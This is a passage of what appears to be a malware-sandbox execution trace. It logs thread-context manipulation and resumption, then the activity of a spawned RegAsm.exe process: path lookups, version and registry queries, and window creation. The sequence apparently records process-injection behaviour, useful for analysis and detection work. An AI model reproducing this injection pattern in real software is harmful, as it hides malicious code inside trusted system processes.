[51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x9cb7de, Ebp=0x0, Eip=0x76ea01c4, SegCs=0x23, EFlags=0x202, Esp=0x3cfc8c, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0186.058] NtSetContextThread (ThreadHandle=0x2a0, Context=0x4f0e250*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x45384e, Ebp=0x0, Eip=0x76ea01c4, SegCs=0x23, EFlags=0x202, Esp=0x3cfc8c, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0186.058] NtResumeThread (in: ThreadHandle=0x2a0, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0186.058] CoUninitialize () Thread: id = 157 os_tid = 0x41c Process: id = "9" image_name = "regasm.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe" page_root = "0x5fc65000" os_pid = "0x608" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x530" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 158 os_tid = 0x55c [0186.725] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0186.817] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x3ce9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0186.817] GetLastError () returned 0x2 [0186.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x3ce97c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0186.822] GetLastError () returned 0x2 [0186.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x3ce944, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0186.825] GetLastError () returned 0x2 [0186.829] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x3ce9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0186.829] GetLastError () returned 0x2 [0186.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x3ce97c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0186.830] GetLastError () returned 0x2 [0186.837] GetVersionExW (in: lpVersionInformation=0x59f7c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x59f7c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0186.837] GetLastError () returned 0x2 [0186.838] GetVersionExW (in: lpVersionInformation=0x59f7c8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x59f7c8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0186.838] GetLastError () returned 0x2 [0187.554] lstrlenW (lpString="䅁") returned 1 [0187.556] GetVersionExW (in: lpVersionInformation=0x5a48e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5a48e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0187.557] GetLastError () returned 0x2 [0187.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ce230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0187.674] GetLastError () returned 0x2 [0187.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ce278, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0187.676] GetLastError () returned 0x2 [0187.676] SetErrorMode (uMode=0x1) returned 0x0 [0187.677] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ce6f8 | out: lpFileInformation=0x3ce6f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0187.678] GetLastError () returned 0x2 [0187.678] SetErrorMode (uMode=0x0) returned 0x1 [0187.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ce254, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0187.678] GetLastError () returned 0x2 [0187.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ce1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0187.678] GetLastError () returned 0x2 [0187.817] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x3ce20c | out: pfEnabled=0x3ce20c) returned 0x0 [0187.833] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce830 | out: phkResult=0x3ce830*=0x1bc) returned 0x0 [0187.835] RegQueryValueExW (in: hKey=0x1bc, lpValueName="ProductId", lpReserved=0x0, lpType=0x3ce874, lpData=0x0, lpcbData=0x3ce870*=0x0 | out: lpType=0x3ce874*=0x0, lpData=0x0, lpcbData=0x3ce870*=0x0) returned 0x2 [0187.909] lstrlenW (lpString="䅁") returned 1 [0187.911] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74ea0000 [0187.912] GetProcAddress (hModule=0x74ea0000, lpProcName="DefWindowProcW") returned 0x76ec25dd [0187.913] GetStockObject (i=5) returned 0x1900015 [0187.914] GetLastError () returned 0x0 [0187.914] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0187.920] CoTaskMemAlloc (cb=0x4c) returned 0x59d170 [0187.920] RegisterClassW (lpWndClass=0x59f310) returned 0xc12d [0187.920] GetLastError () returned 0x0 [0187.920] CoTaskMemFree (pv=0x59d170) [0187.920] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0187.922] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40162 [0187.923] SetWindowLongW (hWnd=0x40162, nIndex=-4, dwNewLong=1995187677) returned 7933554 [0187.925] GetWindowLongW (hWnd=0x40162, nIndex=-4) returned 1995187677 [0187.926] GetCurrentProcess () returned 0xffffffff [0187.926] GetCurrentThread () returned 0xfffffffe [0187.926] GetCurrentProcess () returned 0xffffffff [0187.927] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3ce09c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3ce09c*=0x1b8) returned 1 [0187.927] GetLastError () returned 0x0 [0187.929] GetCurrentThreadId () returned 0x55c [0187.931] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce008 | out: phkResult=0x3ce008*=0x1c0) returned 0x0 [0187.932] RegQueryValueExW (in: hKey=0x1c0, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x3ce050, lpData=0x0, lpcbData=0x3ce04c*=0x0 | out: lpType=0x3ce050*=0x0, lpData=0x0, lpcbData=0x3ce04c*=0x0) returned 0x2 [0187.932] RegQueryValueExW (in: hKey=0x1c0, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x3ce050, lpData=0x0, lpcbData=0x3ce04c*=0x0 | out: lpType=0x3ce050*=0x0, lpData=0x0, lpcbData=0x3ce04c*=0x0) returned 0x2 [0187.932] RegCloseKey (hKey=0x1c0) returned 0x0 [0187.936] SetWindowLongW (hWnd=0x40162, nIndex=-4, dwNewLong=7933874) returned 1995187677 [0187.936] GetWindowLongW (hWnd=0x40162, nIndex=-4) returned 7933874 [0187.936] GetWindowLongW (hWnd=0x40162, nIndex=-16) returned 79691776 [0187.966] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, 